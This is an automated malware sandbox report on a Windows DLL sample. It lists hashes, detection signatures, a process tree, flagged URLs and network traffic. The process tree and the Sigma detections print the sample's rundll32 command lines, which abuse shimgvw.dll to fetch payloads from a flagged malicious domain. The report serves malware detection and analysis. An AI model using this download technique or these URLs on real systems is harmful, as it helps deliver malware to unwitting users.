Edit tour

Windows Analysis Report
Dll1.dll

Overview

General Information

Sample name:	Dll1.dll
Analysis ID:	1500782
MD5:	b14ef85a60ac71c669cc960bdf580144
SHA1:	08906644b0ef1ee6478c45a6e0dd28533a9efc29
SHA256:	861911e953e6fd0a015b3a91a7528a388a535c83f4b9a5cf7366b8209d2f00c3
Tags:	dll
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Sigma detected: Execute DLL with spoofed extension

Sigma detected: rundll32 run dll from internet

System process connects to network (likely due to code injection or exploit)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potentially Suspicious Rundll32 Activity

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 7396 cmdline: loaddll32.exe "C:\Users\user\Desktop\Dll1.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7448 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 7472 cmdline: rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7500 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7748 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7456 cmdline: rundll32.exe C:\Users\user\Desktop\Dll1.dll,mydllmain MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7484 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7756 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7952 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 8024 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Sigma Signatures

Sigma detected: Potentially Suspicious Rundll32 Activity

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\Dll1.dll,mydllmain, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 7456, ParentProcessName: rundll32.exe, ProcessCommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, ProcessId: 7484, ProcessName: rundll32.exe

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\Dll1.dll,mydllmain, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 7456, ParentProcessName: rundll32.exe, ProcessCommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, ProcessId: 7484, ProcessName: rundll32.exe

Sigma detected: rundll32 run dll from internet

Source: Process started

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://rammenale.com/for2/aclog.txtQ8	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpaC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp%	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtJ	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtPR	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp$q	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpent	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclogI	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txthe	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpryh	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4J	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtO	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtPg	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txte	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtf	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4r	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp.(	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp60	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtd	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt-	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpent0	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtentg	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmprmh	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtent	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtag	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt(	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpo	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpq	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpk	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpz	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog&	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmps	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpmpf	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp6634-1003	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4p	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmph	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtentindowsINetCookies	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpE0	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt6634-1003	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpj	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4r	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpd	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt49?	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclogtxtH	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpY	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt&8	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4er	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpPR	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpentindowsINetCookies	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtft	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtjx	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpU	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpV	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclogtxtB	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4e	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtm	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtV~	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclogtxt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtr	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txts	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpG	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp5A	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpE	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtp	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp/	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtWk	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp0	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpmp	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpR0	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp2	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtz	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtP;	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4T	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4P	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Dll1.dll

ReversingLabs: Detection: 31%

Source: Dll1.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49711 version: TLS 1.2

Source: Dll1.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9E1629 FindFirstFileW,CloseHandle,_strlen,ExpandEnvironmentStringsW,CopyFileW,Sleep,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	0_2_6F9E1629
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9F1C74 FindFirstFileExW,	0_2_6F9F1C74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E1629 FindFirstFileW,CloseHandle,_strlen,ExpandEnvironmentStringsW,CopyFileW,Sleep,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	3_2_6F9E1629
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F1C74 FindFirstFileExW,	3_2_6F9F1C74

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 131.153.206.231 443

Source: Joe Sandbox View

ASN Name: SS-ASHUS SS-ASHUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: rammenale.com
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 28 Aug 2024 20:45:57 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 28 Aug 2024 20:45:57 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 28 Aug 2024 20:45:58 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 28 Aug 2024 20:45:58 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 28 Aug 2024 20:45:59 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 28 Aug 2024 20:46:00 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/
Source: rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/1p
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/D
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/J
Source: rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/K
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/M
Source: rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/R#
Source: rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/Si
Source: rundll32.exe, 0000000B.00000002.3274421722.0000000004D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog
Source: rundll32.exe, 00000006.00000002.3274805413.00000000084B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog&
Source: rundll32.exe, 0000000B.00000002.3272399936.0000000002C30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088B8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt
Source: rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt&8
Source: rundll32.exe, 00000006.00000002.3274805413.00000000084B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt(
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt-
Source: rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.000000000891D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4
Source: rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt49?
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4J
Source: rundll32.exe, 00000006.00000002.3274805413.0000000008499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4er
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4j
Source: rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4p
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4r
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008423000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.0000000008453000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt6634-1003
Source: rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt:
Source: rundll32.exe, 00000005.00000002.3272308201.0000000002670000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3273346372.00000000027E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3272227188.0000000002610000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3273406270.00000000027A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272218090.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272399936.0000000002C30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtC:
Source: rundll32.exe, 00000005.00000002.3272308201.000000000267A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtF
Source: rundll32.exe, 00000006.00000002.3274805413.0000000008453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtJ
Source: rundll32.exe, 00000005.00000002.3272308201.00000000026E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtO
Source: rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtP;
Source: rundll32.exe, 00000006.00000002.3273575831.0000000002A60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtPR
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtPg
Source: rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtQ8
Source: rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtV~
Source: rundll32.exe, 00000005.00000002.3274732553.0000000008423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtWk
